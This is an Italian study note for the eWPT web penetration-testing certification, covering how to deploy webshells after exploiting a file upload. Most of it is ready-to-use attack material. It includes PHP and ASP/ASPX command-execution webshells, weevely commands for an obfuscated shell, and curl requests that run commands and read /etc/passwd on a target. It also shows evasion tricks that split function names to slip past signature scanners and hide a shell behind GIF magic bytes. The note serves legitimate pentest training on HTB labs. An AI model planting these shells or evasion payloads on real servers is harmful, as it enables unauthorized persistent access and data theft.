eWPT · Exploitation & Post-Ex
Webshell Deployment
Difficoltà: Intermediate Time to Master: 1.5h Prerequisiti: 03-Reverse-Shells.md Lab: HTB (macchine con file upload vulnerabile)
Obiettivo
Una reverse shell è comoda finché il target riesce davvero a “chiamarti” — ma su una rete con egress filtering aggressivo (uscite bloccate su tutto tranne 80/443, o niente del tutto) quella connessione non parte mai, per quanto il payload sia corretto. La webshell è il piano B che spesso diventa il piano principale: resta lì, sul server, e tu la interroghi via HTTP come faresti con qualsiasi altra pagina — meno comoda di una shell interattiva, ma indipendente dal fatto che il target possa o meno raggiungerti.
Concetti chiave
Webshell vs Reverse shell
| Caratteristica | Webshell | Reverse shell |
|---|---|---|
| Persistenza | resta sul server finché non rimossa | si perde alla chiusura connessione |
| Connessioni in uscita richieste | no | sì (target deve raggiungere l’attaccante) |
| Interattività | limitata (comando singolo per richiesta) | piena shell TTY dopo upgrade |
| Stealth | rilevabile da file scanner/AV | rilevabile da monitoraggio connessioni di rete |
Strumenti
| Tool | Comando base | Output | Note |
|---|---|---|---|
| curl | curl "URL/shell.php?cmd=id" |
output comando | interazione base |
| weevely | weevely generate pass shell.php |
webshell offuscata PHP | comunicazione criptata, più stealth |
Payload / Esempi
Esempio 1: webshell PHP minimale
<?php system($_GET['cmd']); ?>
curl "http://target.com/uploads/shell.php?cmd=id"
curl "http://target.com/uploads/shell.php?cmd=whoami"
curl "http://target.com/uploads/shell.php?cmd=cat+/etc/passwd"
Esempio 2: webshell PHP con form per uso interattivo da browser
<?php if(isset($_REQUEST['cmd'])){ system($_REQUEST['cmd']); } ?>
<form method="GET">
<input type="text" name="cmd">
<input type="submit">
</form>
Esempio 3: webshell con weevely (più stealth, traffico offuscato)
# Genera la webshell
weevely generate MyPassword123 shell.php
# Carica shell.php sul target (via upload vulnerabile)
# Connettiti
weevely http://target.com/uploads/shell.php MyPassword123
Spiegazione: weevely offusca sia il payload che la comunicazione HTTP, rendendo la webshell meno rilevabile da controlli statici sul contenuto e da signature-based detection rispetto a una system() in chiaro.
Esempio 4: webshell ASP/ASPX (target Windows/IIS)
<%eval(request("cmd"))%>
<%@ Page Language="C#" %>
<%
var psi = new System.Diagnostics.ProcessStartInfo("cmd.exe", "/c " + Request["cmd"]);
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
var p = System.Diagnostics.Process.Start(psi);
Response.Write(p.StandardOutput.ReadToEnd());
%>
Spiegazione: Process.Start da solo esegue il comando ma non ne restituisce l’output all’attaccante; serve RedirectStandardOutput + UseShellExecute = false e poi leggere/stampare lo stream per vedere il risultato nella risposta HTTP.
Evasion / Bypass Techniques
Offuscazione base per evitare signature statiche
<?php $a='sys'.'tem'; $a($_GET['cmd']); ?>
Spiegazione: spezzare il nome della funzione pericolosa (system) in concatenazione di stringhe bypassa scanner che cercano la stringa letterale “system(“ nel file caricato.
Nascondere la webshell in un file apparentemente innocuo
GIF89a;
<?php system($_GET['cmd']); ?>
Salvato come .php con contenuto che inizia con magic bytes GIF: vedi 01-File-Upload-Abuse.md per il contesto completo di bypass upload.
Lab Hands-On
Lab 1 (HTB): file upload -> webshell -> enumerazione
Obiettivo: distribuire una webshell persistente e usarla per la prima enumerazione post-exploitation Difficulty: Medio Time: 45 min
Walkthrough breve:
- Carica la webshell tramite la vulnerabilità di upload trovata
- Testa l’esecuzione con
id/whoami - Usa la webshell per enumerare l’ambiente prima di passare a una reverse shell completa
Common Mistakes
- Lasciare la webshell con nome prevedibile (
shell.php) accessibile pubblicamente -> in un engagement reale documenta e rimuovi sempre a fine test - Usare solo webshell senza mai fare upgrade a reverse shell -> l’interattività limitata rallenta molto l’enumerazione approfondita
Link Utili
Connessioni
- Prerequisito: 03-Reverse-Shells.md
- Prossimo Step: 05-Privilege-Escalation.md
Checklist di padronanza
- So costruire e usare una webshell PHP base
- So usare weevely per comunicazione offuscata
- So quando preferire webshell a reverse shell (connessioni uscenti filtrate)
- Ricordo sempre di documentare/rimuovere le webshell a fine engagement